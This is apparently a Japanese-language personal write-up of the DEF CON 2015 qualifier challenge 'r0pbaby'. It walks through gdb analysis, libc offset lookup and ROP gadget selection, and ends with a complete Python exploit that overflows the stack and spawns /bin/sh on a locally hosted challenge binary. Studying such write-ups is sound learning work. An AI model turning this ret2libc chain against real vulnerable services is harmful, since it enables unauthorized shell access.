DEF CON Qualifier 2015: r0pbaby

pwnの勉強のため DEF CON Qualifier 2015: r0pbabyを解いてみた。 今回は、ローカルの環境のみで実行。

以下のサイトを参考とした。

http://geeksspeak.github.io/blog/2015/05/18/defconctf-2015-quals-ropbaby-writeup/

https://blog.0x80.org/r0pbaby-writeup-defcon-prequal/

http://qiita.com/MarshMallow_sh/items/87019f038e4f5dc82451

セキュリティ機構の確認

$ checksec.sh --file r0pbaby
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    Not an ELF file   No RPATH   No RUNPATH   r0pbaby

NXが有効(メモリ上の実行する必要のないデータが実行不可能)。 ROPを行えばよいのだろうか。

とりあえず実行してみる

socat コマンドを使って待受け状態にする。

$ socat TCP-LISTEN:1234,reuseaddr,fork EXEC:"./r0pbaby"

接続してみる。

$ nc localhost 1234

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 1
libc.so.6: 0x00007FFFF7FF99B0
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: system
Symbol system: 0x00007FFFF7857640
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 4
Exiting.

libc.so.6やsystem関数のアドレスを確認できた。 これらを使って、shellを起動できればよいのだろう。

gdbでスタックの状態を確認(pedaインストール済み)

3を選択、32バイトを指定、"AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD"(32バイト) を入力してみる。

gdb-peda$ run
Starting program: /home/ctf/r0pbaby 

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 32
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: Bad choice.

Program received signal SIGSEGV, Segmentation fault.

省略
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe558 ("BBBBBBBBCCCCCCCCDDDDDDDD")

Segmentation fault で落ちることが判明。 その時のスタックの内容を確認すると、BBBBBBBBCCCCCCCCDDDDDDDDが入っていた。 この部分に、rop gadgetのアドレス、/bin/shのアドレス、system関数のアドレス を入れれば、/bin/shを実行できそうだ。

libc.so.6の場所を確認

以下のコマンドで/lib/x86_64-linux-gnu/libc.so.6 にあることが判明。

$ ldd r0pbaby
    linux-vdso.so.1 =>  (0x00007ffff7ffd000)
    libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ffff7bd6000)
    libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7811000)
    /lib64/ld-linux-x86-64.so.2 (0x0000555555554000)

# libc.so.6内のsystem関数の位置 以下のコマンドで、system関数は0x46640 から始まることが判明。

$ nm -D libc.so.6| grep system
0000000000046640 T __libc_system
000000000012b2c0 T svcerr_systemerr
0000000000046640 W system

libc.so.6内の/bin/sh の位置

以下のコマンドで、/bin/sh は0x17ccdb から始まることが判明。 $ strings -a -tx libc.so.6 | grep "sh$" 17ccdb /bin/sh

rop gadeget の位置

以下のコマンドの結果から、 [0x00022b1a] のrop gadgetを使うことにした。

$ grep "pop rdi" rpResult-libc.so.6.txt | head   
0x000fa47a: pop rdi ; call rax ;  (1 found)
0x000831a8: pop rdi ; jmp rax ;  (1 found)
0x000f676c: pop rdi ; jmp rax ;  (1 found)
0x00103fe2: pop rdi ; rep ret  ;  (1 found)
0x0011bea1: pop rdi ; rep ret  ;  (1 found)
0x00022b1a: pop rdi ; ret  ;  (1 found)
0x00022b31: pop rdi ; ret  ;  (1 found)

Exploit の作成

ここまでで、以下3項目の位置が判明した。 この情報を元にExploitを作成する。

r_gadget = 0x22b1a   #rop gadgetのアドレス(ファイルlibc.so.6内)
r_system = 0x46640   #system 関数のアドレス(ファイルlibc.so.6内)
r_binsh  = 0x17ccdb  #/bin/sh のアドレス(ファイルlibc.so.6内)
#!/usr/bin/python
# -*- coding: utf-8 -*- 

import socket
import struct
import telnetlib

def readuntil(f, delim=': '):
    data = ''
    while not data.endswith(delim):
        c = f.read(1)
        assert len(c) > 0
        data += c
    #print data
    return data

def p(v):
    return struct.pack('<Q', v)

def u(v):
    return struct.unpack('<Q', v)[0]

s = socket.create_connection(("127.0.0.1", 1234))
#s = socket.create_connection(("r0pbaby server", 10436))
f = s.makefile('rw', bufsize=0)

raw_input("$")     # ユーザの入力を待つ(enterキーで以下の処理を開始)
print s.recv(1024) # 問題サーバから1024バイトのデータを取得

f.write("2\nsystem\n")
readuntil(f, "0x")
system = int(f.read(16), 16) 
print hex(system)

r_gadget = 0x22b1a   #rop gadgetのアドレス(ファイルlibc.so.6内)
r_system = 0x46640   #system 関数のアドレス(ファイルlibc.so.6内)
r_binsh  = 0x17ccdb  #/bin/sh のアドレス(ファイルlibc.so.6内)

# system addr - system_offset = libc_base
libc_base = system - r_system # 実行時のアドレス

gadget = libc_base + r_gadget # rop gadgetのアドレス(実行時)
binsh  = libc_base + r_binsh  # /bin/shのアドレス(実行時)

print "[*] system     0x%08x" % system
print "[*] libc_base  0x%08x" % libc_base
print "[*] gadget     0x%08x" % gadget
print "[*] binsh      0x%08x" % binsh

f.write("3\n32\n"+"A"*8+p(gadget)+p(binsh)+p(system)+"\n")

# メモ
#m_libc   = 0x00007FFFF7FF99B0 # [1]を選択して判明した libc.so.6のアドレス
#m_system = 0x00007FFFF7857640 # [2]を選択して判明した system関数のアドレス


print "[+] shell is ready: "
t = telnetlib.Telnet()
t.sock = s
t.interact()

所感

Pwn を解き始めたばかりのため難しく感じた。 少し基本が身についたと思う。

課題

  • Exploitはもう少しシンプルになりそうだ。
  • 一つ気になったことは、r0pbaby実行時、[1]を選択して表示される libc.so.6 のアドレス0x00007FFFF7FF99B0と、 ldd r0pbabyした時のlibc.so.6 のアドレス0x00007ffff7811000が 違う点である。理由はまだわかっていない。